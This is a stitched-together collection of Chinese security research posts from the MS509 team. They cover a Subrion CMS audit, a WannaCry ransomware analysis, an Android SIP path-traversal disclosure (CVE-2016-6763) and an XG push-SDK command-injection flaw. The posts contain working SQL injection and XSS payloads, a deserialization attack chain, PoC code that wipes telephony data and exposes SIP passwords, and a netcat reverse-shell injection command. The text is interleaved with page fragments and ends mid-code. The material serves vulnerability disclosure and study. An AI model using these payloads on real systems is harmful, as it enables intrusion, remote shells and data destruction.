该 cms 对于post请求做了简单的 csrf 防御，每个请求都会验证 cstf token 和 referer，
登录状态下cstf token 可以通过查看用户profile页面获取，referer即使目标网站url。

最终poc如下：

Sqlmap 利用：

Post data:
__st=9da21aa3800afdb4c743c93bf0714ae6&item=blog_entries&itemid=2&field=1,2 from (select 1)u where 1=1*#&path=t/tdest/|xx.png&action=edit-picture-title

修复建议

对POST[‘field’]做合法性校验，return preg_replace(‘#[^a-z_0-9]#i’, ‘’, $_POST[‘field’]);

SQL注入漏洞二

\subrion\front\actions.php 106 line
用户提交post数据传入函数deleteUploadedFile

\subrion\includes\classes\ia.core.field.php line 1322

public function deleteUploadedFile($fieldName, $itemName, $itemId, $fileName = null , $checkOwnership = false )
以上函数的第二个参数$itemName来自$_POST[item]，该参数没有经过任何转义过滤处理最终带入数据库查询从而造成SQL注入。

Post request:
Url:http://test.com/subrion/actions.json?
Data:__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&item=blog_entries` where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file

Call stack:
ia.core.mysqli.php:256, iaDb->getRow()
ia.core.mysqli.php:248, iaDb->_get()
ia.core.mysqli.php:535, iaDb->row()
ia.core.field.php:1333, iaField->deleteUploadedFile()
actions.php:106, require()
ia.core.php:355, iaCore->_executeModule()
ia.core.php:149, iaCore->init()
index.php:123, {main}()

Poc:

Url:http://test.com/subrion/actions.json?
Data:__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&item=blog_entries` where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file

修复建议

对POST['item']做安全性合法校验，return preg_replace('#[^a-z_0-9]#i', '', $_POST['field']);

反序列化漏洞

在分析SQL注入漏洞一的时候我们知晓，变量$tableName = $item=$_POST[item]=table,
变量$field = $_POST[field]=column,而$itemValue的值是根据用户提供的表和列查询获取的值，既然如此只要某个表里面的内容我们能够控制，unserialize反序列化的内容则可以控制。
这个条件很容易满足，比如用户信息表sbr412_members,该cms在查询的时候会对表名自动格式化添加前缀和后缀，比如提供表名为 member，查询的时候自动补全为sbr421_members。
在代码执行到unserialize 之前，有个条件判断：

1
2

if (iaUsers::hasIdentity() && $memberId == iaUsers::getIdentity()->id &&$itemValue)
        ->unserialize()

• 当用户登录 iaUsers::hasIdentity() return ture

• $memberId == iaUsers::getIdentity()->id <=>$_POST[itemid]=userid

• $itemValue not null <=>ture
  subrion\front\actions.php line 53

        根据以上分析，只要userid 知晓那么就可以使if 条件为真从而执行 unserialize($itemValue)。

       userid 格式是number数字,根据用户注册时间，从1开始编号，通过 $_POST[itemid]提供，既然如此userid就可以通过爆破获取，当 userid =myuserid，返回的结果会和之前不同。

1.Login in user
2.Set profile biography a:1:{s:1:”d”;a:1:{s:2:”1’”;i:3;}}

1. Post request:

Url:http://test.com/subrion/actions.json
Data:action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=userid&path=tmp

对itemid参数进行爆破，当 itemid !=myuserid,response invalid parameters.

当itemid==userid =2,respnose {"error":false}

Call stack:

对于反序列化的利用需要寻找POP Chain，通过审计发现smarty存在一个任意文件删除的利用链。

运行代码生成Delete file OBI chain:

O:24:"Smarty_Internal_Template":6:{s:8:"cache_id";N;s:10:"compile_id";N;s:7:"caching";N;s:14:"cache_lifetime";N;s:6:"smarty";O:6:"Smarty":1:{s:13:"cache_locking";s:4:"good";}s:6:"cached";O:22:"Smarty_Template_Cached":8:{s:8:"filepath";b:0;s:6:"exists";b:0;s:5:"valid";b:0;s:9:"processed";b:0;s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}s:8:"cache_id";N;s:7:"lock_id
";s:24:"C:\windows\Temp\test.txt";s:9:"is_locked";b:1;}}

修改profile Biography 为OBI chain ，利用正确的userid重新发送post请求

Url:http://test.com/subrion/actions.json
Data:action=edit-picture-title&\_\_st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=2&path=tmp

发现OBI chain 并未生效，最后调试审计代码发现，当请求类型为REQUEST_HTML，smary相关的类才会被加载，而该漏洞利用请求类型刚好是json，如此只能利用php 内置类进行反序列化利用。关于php反序列化利用内置类的相关详情请参阅网络其他文章。

Poc：

Send Post :
Url:http://test.com/subrion/actions.json
Data:action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=2&path=tmp

修复建议

序列化之前验证序列化字段是否在白名单之中。

存储型XSS

修改博文操作的时候，代码层面只对博客字段类型为txet 和textarea 的内容做了XSS防御处理，而字段image['file']参数类型为image，并未进行xss 转义过滤处理导致XSS漏洞。

Poc：

整个触发过程:

添加blog-&gt;upload image-&gt;edit blog-&gt;修改image.file 为"x" onerror="alert(/xss/)

浏览博客触发XSS http://test.com/subrion-develop/blog/

修复建议

对image['file']调用safeHTML进行处理。

0x04 Vulnerability Exploit：

SQLInject =>RCE

审计代码并未发现前台代码执行漏洞，不过后台发现两种执行代码的方法，结合前文SQL注入漏洞获取管理员登录时的session_id，然后登录后台getshell。
表 online 保存用户登录时的session_id和用户名等其他信息。

获取管理员 session_id

利用管理员session_id登录后台

后台GetShell 方法一：

在Blocks模块修改Refine Search的值，添加我们要执行的代码，前台搜索内容行为即可触发执行我们添加的代码。

后台GetShell 方法二：

后台content fields模块用来设置一些字段的相关属性动作，其中有个extra_actions属性用来设置某字段值改变时的动作行为，用来校验字段值，比如注册邮件的时候，就会执行mail字段 extra_actions属性的代码来校验邮箱的合法性。

我们可以设置用户fullname字段的extra_actions值为我们代码，前台修改用户profile保存即可触发代码执行。

修改更新用户profile fullname

两次代码成功执行的结果

版权声明：

本文由MS509团队成员原创，转载请注明来源

阅读原文

跳转微信打开

本文转载自“中国网安”微信公众号中国网安发声POC安全大会 分享安全“奥密”获得广泛关注 近日，国际安全大

中国网安发声POC安全大会  分享安全“奥密”获得广泛关注 

阅读原文

跳转微信打开

本文由MS509团队成员“thor@MS509 Team”原创，转载请注明来源。

本文已于2017-10-30 发布于“先知安全技术社区”。

阅读原文

跳转微信打开

本文转载自“中国网安”微信公众号

∧ 筹备组会议现场

∧联盟发起单位筹备组合影

联合供稿 | 综合管理部、经营发展部北京办事处、

卫士通公司、国信安公司    

阅读原文

跳转微信打开

声明：本文由expsky@MS509Team原创，仅用于技术交流分享 挺长时间没做逆向分析了，以前做逆

责任编辑：支书Woojune

好了，说正题，我从这里（http://bbs.pediy.com/thread-217586.htm）下载了Wannacry样本，一些枯燥的汇编分析细节就不多讲，我们尽量快速的了解到整体过程。

首先会通过一个函数算出一个标识，我们将这个函数命名为getDisplayName，本质就是通过GetComputerNameW获取计算机名然后取随机数算出一个唯一对应的标识（我们命名为DisplayName），后面的执行过程会用到这个标识

接下来会做几件事情，任意一项未执行成功都会退出

检查命令行参数是否为两个，并且是否有/i这个参数

检查并尝试在ProgramData目录 或 Intel目录 或    Temp系统临时目录下创建前面算出的DisplayName为标识的目录

将这个工作目录设置为6也就是0×2 和 0×4（FILE_ATTRIBUTE_HIDDEN 和 FILE_ATTRIBUTE_SYSTEM ）隐藏和系统

创建自身的副本并命名为tasksche.exe

将tasksche.exe优先以服务方式启动，如果失败则以普通进程方式启动（副本启动的入口点和原始文件启动的入口点不同，从而实现不同的逻辑）   

通过互斥体Global\\MsWinZonesCacheCounterMutexA来判断是否启动成功

以上几项都成功完成后流程才会继续，否则终止。

创建注册表项HKEY_LOCAL_MACHINE\Software\WanaCrypt0r\wd ，写入当前路径值

从资源中释放PE文件taskdl.exe、taskse.exe，为了免杀，资源中的PE文件是加了密的，释放过程中会解密，比较繁琐

会给释放的资源传一个类似key之类的参数过去，参数值为WNcry@2ol7

然后在当前目录下读取c.wnry文件

 如果读取到了c.wnry文件，就会将13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94通过一个随机数加密后写回到c.wnry，而这一串数字就是黑客的比特币地址，也就是说c.wnry文件里保存的是加密后的黑客的比特币地址

上图就是c.wnry文件的加密算法，这个加密很简单，只用了两句来实现

下面的临时解决方案的自动化工具里就用到了这三个黑客的比特币地址

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn            

执行这两句命令

attrib +h .

icacls . /grant Everyone:F /T /C /Q

attrib命令将DisplayName工作目录设置为隐藏

icacls命令开放目录的用户权限    

接下来是动态获取所需的API地址    

首先是获取kernel32.dll中的文件相关的API    

然后是获取advapi32.dll中的加解密相关的API   

CSP用的是系统默认或者是RSA and AES   

加密文件以WANACRY!为特征头

  被加密的文件涉及到各种文档、文本、虚拟机、压缩包、镜像、图片、视频、音乐、源代码、脚本、数据库、邮件、证书等近200种文件类型，几乎涵盖了方方面面，但确没有BT种子文件，看来黑客还是有所为有所不为啊^_^

网上流传了一个临时解决方案的思路是：

获取黑客收款地址的交易记录

将别人支付赎金的记录信息（交易hash值）冒充是自己付的发送给黑客来蒙混过关（挺贼的^_^）

通过https://btc.com/可以查询到交易记录，但是我们需要有黑客的收款地址，上面我们已经分析出来了

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

网上有个python的自动化脚本，这里再优化一下，而且还有很多人不是搞IT的，不懂什么python，于是做了一个傻瓜式的exe程序来自动获取交易记录   

工具链接: http://pan.baidu.com/s/1hsbwQaC 密码: p263

从下午开始一直坐在电脑前就没起过身，分析、码字、写工具，一晃现在都到半夜了，搞这行伤不起啊。写不动了，今天先休息了。不过也能猜到其他还要做什么，就是扫端口，找到开放了445端口SMBv1的就使用NSA老大的Eternalblue Doublepulsar实现蠕虫式传播

最后再分享下这次罪魁祸首的工具：

https://github.com/x0rz/EQGRP_Lost_in_Translation    

https://github.com/misterch0c/shadowbroker    

是工具（没有源码），用了一个python攻击框架Fuzzbunch简称fb，这个框架怎么用，可以看这里http://www.freebuf.com/articles/system/133853.html

微软的补丁信息：https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/

版权声明：

本文由MS509团队成员原创，转载请注明来源

注：本文已由团队成员“expsky”2017-05-14 发布于“FreeBuf”

阅读原文

跳转微信打开

责任编辑：支书Woojune前些日子，团队 heeeeen 大牛，发了一篇全英文的CVE-2016-6763

责任编辑：支书Woojune

Google 12月的安全公告修复了我们提交的一个Telephony拒绝服务漏洞。

* CVE: CVE-2016-6763
* BugID: A-31530456
* 严重性: 高
* 影响的Google设备: All
* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0

漏洞位于负责sip账户序列化和反序列化的SipProfileDb.java中。见deleteProfile、saveProfile和retriveSipProfileName等方法，存在目录穿越，mProfileDirectory和Sip profile name（形式为：sip账户@sip主机名）未经检查就直接拼接在了一起，而Sip profile name允许存在包括’/’和’..’等在内的特殊字符，因此本地攻击者可以通过构建包含这些特殊字符的Sip profile name，将sip序列化文件存储于属于radio用户的的任意目录。

这个漏洞允许具有物理接触权限的本地攻击者或者被欺骗的用户在radio用户的目录下创建一个名字可控的文件夹，或者删除radio用户目录下的所有文件。在报给Google的漏洞报告中，我们基于Nexus 6P设备和Android 6.0.1版本，设想了两种需要物理接触和用户交互的攻击场景，但根据Google安全公告，不排除他们发现了自动化的攻击面。

窃取SIP账户口令

假设手机上已有一个SIP账户：alice@CompromisedSite，口令为”12345″

1. 打开电话应用的设置->通话->通话账号->Sip账号，对已有账号进行修改；
2. 将用户名修改为”alice/”，将服务器名修改为“CompromisedSite/../../../../../../../../sdcard/”，点击保存。

sip 账户配置文件将出现在sdcard目录，可以直接查看这个配置文件获得原始口令“12345”

shell@angler:/sdcard $ ls -a -l
-rw-rw—- root sdcard_rw 1843 2016-09-12 14:58 .pobj

禁用短信或者电话功能

1. 打开电话应用的设置->通话->通话账号->Sip账号，添加一个新的Sip账号；
2. 用户名填“alice/”，服务器名填“somesite/../../../../../../../../data/data/com.android.providers.telephony/“，密码随意，然后点击保存；
3. 由于com.android.phone将会对目录名和序列化的sip配置文件中的sip profile name进行检查，这个账户不会出现在Sip账户的ListView中，然而由于目录穿越的存在，sip配置文件仍然会存储于/data/data/com.android.providers.telephony/目录下；
4. 使用以下代码，将刚才添加的Sip账号显示出来；

public class MainActivity extends AppCompatActivity {

Button m_btn = null;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

m_btn = (Button)findViewById(R.id.siptest);

m_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent();
i.setComponent(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipPhoneAccountSettingsActivity”));

PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipConnectionService”),
“alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/”);
i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

startActivity(i);
}
});
}
}

5. 将服务器修改

为“somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db”，并点击保存，这将依次调用SipProfileDb.java中的deleteProfile和savaProfile方法。因此，首先是com.android.providers.telephony目录下的所有文件被删除，紧接着建立databases目录以及其下的mmssms.db目录。

此时，手机的所有短信功能将被禁用，既不能收，也不能发。

logcat显示sqlite错误，因为我们在/data/data/com.android.providers.telephony/databases/放了一个假的mmsms.db 文件(目录)占位，而使真正的mmssms.db无法恢复。如果使用假的telephony.db，则可以禁用电话功能，或者瞄准/data/misc/radio/目录下的其他文件进行占位，都会对手机的radio功能带来影响。

09-14 10:19:44.593 3862 4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0]
09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)

由于占位文件的存在，普通用户只有通过恢复工厂设置重新启用短信功能。

Google的修复比较严谨，不是简单的过滤’/’猥琐字符。

@@ -20,6 +20,7 @@

import android.content.Context;
import android.net.sip.SipProfile;
+import android.util.EventLog;
import android.util.Log;

import java.io.File;
@@ -51,9 +52,13 @@
mSipSharedPreferences = new SipSharedPreferences(context);
}

– public void deleteProfile(SipProfile p) {
+ public void deleteProfile(SipProfile p) throws IOException {
synchronized(SipProfileDb.class) {
– deleteProfile(new File(mProfilesDirectory + p.getProfileName()));
+ File profileFile = new File(mProfilesDirectory, p.getProfileName());
+ if (!isChild(new File(mProfilesDirectory), profileFile)) {
+ throw new IOException(“Invalid Profile Credentials!”);
+ }
+ deleteProfile(profileFile);
if (mProfilesCount < 0) retrieveSipProfileListInternal();
mSipSharedPreferences.setProfilesCount(–mProfilesCount);
}
@@ -69,7 +74,10 @@
public void saveProfile(SipProfile p) throws IOException {
synchronized(SipProfileDb.class) {
if (mProfilesCount < 0) retrieveSipProfileListInternal();
– File f = new File(mProfilesDirectory + p.getProfileName());
+ File f = new File(mProfilesDirectory, p.getProfileName());
+ if (!isChild(new File(mProfilesDirectory), f)) {
+ throw new IOException(“Invalid Profile Credentials!”);
+ }
if (!f.exists()) f.mkdirs();
AtomicFile atomicFile =
new AtomicFile(new File(f, PROFILE_OBJ_FILE));
@@ -141,4 +149,19 @@
}
return null;
}
+
+ /**
+ * Verifies that the file is a direct child of the base directory.
+ */
+ private boolean isChild(File base, File file) {
+ if (base == null || file == null) {
+ return false;
+ }
+ if (!base.equals(file.getAbsoluteFile().getParentFile())) {
+ Log.w(TAG, “isChild, file is not a child of the base dir.”);
+ EventLog.writeEvent(0x534e4554, “31530456”, -1, “”);
+ return false;
+ }
+ return true;
+ }
}

2016-09-12: 上报Google
2016-10-04: Google确认漏洞，评级高
2016-12-05: 发布补丁
2016-12-08: 公开

版权声明：

本文由MS509团队成员原创，转载请注明来源

阅读原文

跳转微信打开

近日，Google发布了2016年12月份的Android安全公告，修复了我们发现的一个有关Telephon

责任编辑：支书Woojune

该漏洞可使手机永久损坏（需重置工厂设置恢复），Google对该漏洞的描述如下：

漏洞详细分析详见团队主页，链接：http://www.ms509.com/?p=524

版权声明：

本文由MS509团队成员原创，转载请注明来源

阅读原文

跳转微信打开

SummaryThis month Google has fixed a vulnerability we

责任编辑：支书Woojune

There is a directory traversal vulnerability in SipProfileDb.java. In deleteProfile, saveProfile and retrieveSipProfileFromName methods, the sip profile name without checking is simply concatenated with the sip profile directory. As the sip profile name is sometime controlled by outside and permitted to use some evil characters like '/' and '.' , which gives an attacker a chance to write the sip profile directory and its serialized file to any location belongs to user radio.

The bug gives an attacker or tricked user with physical access to the phone the ability to make a new directory under data directories owned by radio, whose name is controlled, or to remove a directory with all of its files under data directories owned by radio. I tested the bug in a Nexus 6P device with Android 6.0.1 and didn't find other automation exploiting method.  I didn't know if Google has found other exploiting methods by local malicious application in other Google devices or other Android versions, either. Thank Google, they still rated the issue High and gave me a credit which is my first one in Android Security Bulletin.

#1 Steal the SIP password

Suppose the phone already has a sip account: alice@CompromisedSite and the password is "12345".
1. Open Call settings ->Calling accounts->Sip accounts, update existing sip account.
2. Modify the existed account "alice" to “alice/“ in the Username of the account and “CompromisedSite/../../../../../../../../sdcard/“ in Server field, leaving other fields unchanged including password, then press save.

The sip account configuration file including the original password will appear in sdcard directory. The orignal password "12345" which is a plain text can be simply found by cat the file.

shell@angler:/sdcard $ ls -a -l
-rw-rw---- root sdcard_rw 1843 2016-09-12 14:58 .pobj

#2  Disable SMS or Telephone function

1. Open Call settings ->Calling accounts->Sip accounts, press “+” to add a new sip account.
2. Fill “alice/“ in Username and “somesite/../../../../../../../../data/data/com.android.providers.telephony/“ in Server field. Just fill whatever you like in Password. Then Press Save.

3. The account will never show in SIP accounts ListView because com.android.phone will check if the directory name  of the configuration directory  match the sip profile name in the serialized file.

4. Use the POC to trigger the SipEditor to show the original account again.

public class MainActivity extends AppCompatActivity {

    Button m_btn = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        m_btn = (Button)findViewById(R.id.siptest);

        m_btn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent i = new Intent();
                i.setComponent(new ComponentName("com.android.phone",
                        "com.android.services.telephony.sip.SipPhoneAccountSettingsActivity"));

                PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName("com.android.phone",
                        "com.android.services.telephony.sip.SipConnectionService"),
                        "alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/");
                i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

                startActivity(i);
            }
        });
    }
}

5. Modify the Server field to “somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db” and press SAVE which will remove any files under com.android.providers.telephony, then make a fake databases/mmssms.db under it.

At this time, the SMS function is disabled. The Nexus6P device cannot receive nor send any SMSs.

Logcat shows sqlite error cause we put a fake mmssms.db under com.android.providers.telephony/databases/ which prevents the real mmssms.db to recover. If we put fake telephony.db or other important files under /data/misc/radio/, It could cause other security impact on radio.

09-14 10:19:44.593  3862  4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0]
09-14 10:19:44.593  3862  4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593  3862  4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593  3862  4522 E DatabaseUtils:            at android.os.Binder.execTransact(Binder.java:453)

Only through a factory reset can the SMS function be recovered.

2016–09-12: Android bug reported to Google
2016-10-04: Android bug confirmed and the severity is set to High
2016-12-05: Android security bulletin released with fix
2016-12-08: Public disclosure

版权声明：

本文由MS509团队成员原创，转载请注明来源

阅读原文

跳转微信打开

0x00 简介XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在

责任编辑：支书Woojune

XG SDK是一个流行的Android app推送SDK，有不少流行Android app均在使用，本文分析的版本主要针对100001_work_weixin_1.0.0.apk所使用的版本。

漏洞最初在2016年4月份的时候提交给了某云网站，厂商已经确认，但由于网站持续“升级”的缘故，不太可能公开细节了。后续漏洞也已经提交给了TSRC，时至现在，相关漏洞均已经完全修复，漏洞已经不影响使用该SDK的app了，因此本文决定对相关技术细节予以分享，并补充有关该漏洞后续的一些研究。

XG SDK会周期性地启动一个libtpnsWatchdog.so的可执行文件，作为看门狗保活应用，并随机在55000~56000端口监听任意地址。

 public static int getRandomPort() {
        return XGWatchdog.getRandomInt(1000) + 55000;
    }

在我们实验手机上的监听端口为55362，启动进程为com.tencent.wework lib目录下的libtpnsWatchdog.so

经过逆向分析，可发现这个开放端口支持一系列的文本命令，包括：

• “ver:”，获取版本号

• “debug:1”，打开调试

• “xgapplist:”,获取或设置使用信鸽的app

• “tme:xxxx”，设置周期性启动服务的等待时间

• ”exit2:”，退出

例如，发送debug:1，可获得当前手机上使用XG的app列表及当前启动服务的等待时间等信息，可见，手机上有四个app使用了该推送sdk。

echo -n “debug:1” |nc 192.168.8.187 55362

当发送xgapplist:xxx，则可以设置当前使用信鸽的app。其中xxx的形式为 <packagename1>,<accid1>;<packagename2>,<accid2>...

接下来会通过fopen打开/data/data/<packagename>/lib目录来判断指定packagename的目录是否存在，如果存在，则会在后续使用该packagename，否则提示找不到该package。

然后，程序会调用system通过am命令启动对应包内的XG组件，这里就使用了上面检查过的packagename.

注意，上述两个system函数中的参数没有进行任何过滤。那么，我们结合上述两张图来看，如果恶意app满足

1. 能够设置一个存在且被XG Sdk可以访问的目录，

2. 目录名中嵌入执行的代码

那么就可以实现命令注入。对于条件1，可以通过../../../../路径穿越的形式跳转到恶意app可控的目录；而对于条件2，则可以利用shell特性，在可控目录下建立猥琐的“ || <command> #"目录实现。

（1）模拟恶意app在/sdcard目录建立一个特殊（猥琐）的目录名，除了“/“字符外，其他字符均可用。

于是我们有了了” && nc -ll -p 6666 -e sh #”的目录，并在目录下存在子目录lib

（2）通过xgapplist命令设置推送app

如图，发送命令，

echo -n "xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;" | nc -vv 192.168.8.187 55362

观察logcat可以发现设置成功

（3）通过tme命令，使am命令周期性进行，进而触发后面的system函数，执行我们的反弹shell命令

echo -n “tme:12345” | nc -v 192.168.8.187 55362

稍等片刻，观察logcat的打印信息后，可以尝试连接shell，成功连接

u0_a113用户正好就是com.tencent.wework

下面就可以以com.tencent.wework的权限做任何事情了，比如访问私有目录、打开保护的activity、发广播等等。

因为当时漏洞取名带有“远程”二字不够严谨，引发了厂商的争议。的确，从这个漏洞的成因来看，主要还是本地恶意app通过污染目录名，结合XG开放的端口，完成本地提权。但经瘦蛟舞的指点，可以考虑向受害者发送包含污染目录名的zip包（或者通过浏览器下载解压至/sdcard），然后结合XG监听端口的地址为任意地址，远程传入命令，进而实现远程命令执行，这种远程攻击相对难度较大，因为开放的端口为随机端口，攻击者也需要社工欺骗受害者接收zip包.

当向XG监听端口发送xgapplist命令时，libtpnsWatchdog.so对后面的packagename和accid进行处理，但并没有检查“，”或“；“分割的字符串为空的情况，导致后面atoll函数去访问0地址的内存，造成空指针解引用crash。见如下代码：

v1 = a1;
  if ( a1 )
  {
    j_j_memset(xgapplist, 0, 0x200u);
    first_app = j_j_strtok(v1, ";");
    v3 = 0;
    v2 = first_app;
    while ( 1 )
    {
      len_of_applist = v3;
      if ( !v2 )
        break;
      v5 = j_j_strlen(v2);
      v6 = v5 + 1;
      v7 = (void *)j_operator new[](v5 + 1);
      xgapplist[len_of_applist] = v7;
      j_j_memcpy(v7, v2, v6);
      v2 = j_j_strtok(0, ";");
      v3 = len_of_applist + 1;
    }
    for ( i = 0; i < len_of_applist; ++i )
    {
      v8 = (char *)xgapplist[i];
      if ( v8 )
      {
        package = j_j_strtok(v8, ",");
        accid = j_j_strtok(0, ",");
        v11 = accid;
        v12 = j_j_atoll(accid); //null pointer dereference crash !!!!
        v27 = v12;

向55362端口发送一个最简单的数据包，

echo -n "xgapplist:A" | nc -v 192.168.8.169 55362

使用logcat可观察到Oops：

仍然观察xgapplist命令，程序接收socket端口传入的命令xgapplist:<packagename>,<accid>;<packgename2>,<accid2>;...;<packagenamen>,<accidn>; 时，程序会对上述命令进行解析，分配xgappinfo对象，并依次将不重复的xgappinfo（使用XG SDK的app的信息）对象存入全局数组xgappinfo_list

xgappinfo占用16字节，为如下结构体

struct xgappinfo {
    long accid,
    char* packgename,
    int  status
};

如图

再来看下下面这段程序逻辑，

void __fastcall sub_40056574(char *a1)
{
  ...
  int i; // [sp+24h] [bp-2Ch]@4
  unsigned __int64 v27; // [sp+28h] [bp-28h]@8
 
  v1 = a1;
  j_j_memset(dword_40060028, 0, 0x200u);
  v2 = j_j_strtok(v1, ";");
  v3 = 0;
  v4 = v2;
  while ( 1 )
  {
    v25 = v3;
    if ( !v4 )
      break;
    v5 = j_j_strlen(v4);
    v6 = v5 + 1;
    v7 = (void *)j_operator new[](v5 + 1);
    dword_40060028[v25] = v7;
    j_j_memcpy(v7, v4, v6);
    v4 = j_j_strtok(0, ";");
    v3 = v25 + 1;
  }
  for ( i = 0; i < v25; ++i )
  {
    v8 = (char *)dword_40060028[i];
    if ( sub_4005651C(dword_40060028[i]) )
    {
      v9 = j_j_strtok(v8, ",");
      v10 = j_j_strtok(0, ",");
      v11 = v10;
      v12 = j_j_atoll(v10);
      v27 = v12;
      if ( v12 <= 0x3B9AC9FF && dword_4005D018 )
      {
        v23 = HIDWORD(v12);
        j_j___android_log_print(6, "xguardian", "error accessid:%llu");
      }
      if ( v9 && v11 )
      {
        v13 = &dword_4005E028;                  // xgapp_info结构体存储的起始地址
        for ( j = &dword_4005E028; ; j = v15 )
        {
          v14 = (const char *)v13[2];
          v15 = v13;
          if ( !v14 )
            break;
          if ( !j_j_strcmp(v9, v14) )
          {
            *v13 = v27;
            v13[1] = HIDWORD(v27);
            v16 = 1;
            *((_BYTE *)v15 + 12) = 1;
            v15 = j;
            goto LABEL_22;
          }
          if ( *((_BYTE *)v13 + 12) )
            v15 = j;
          v13 += 4;
          if ( v13 == dword_40060028 )
            break;                              // 最多只能存储512个对象，每个对象占用16字节
        }
        v16 = 0;
LABEL_22:
        if ( dword_4005D018 )
          j_j___android_log_print(4, "xguardian", "found %d, pkgName:%s,accid:%s", v16, v9, v11);
        if ( !v16 && sub_40055B98(v9) )
        {
          if ( dword_4005D018 )
            j_j___android_log_print(4, "xguardian", "try to add to the unstall list");
          v17 = j_j_strlen(v9) + 1;
          v18 = (void *)v15[2];
          if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);             
/ *
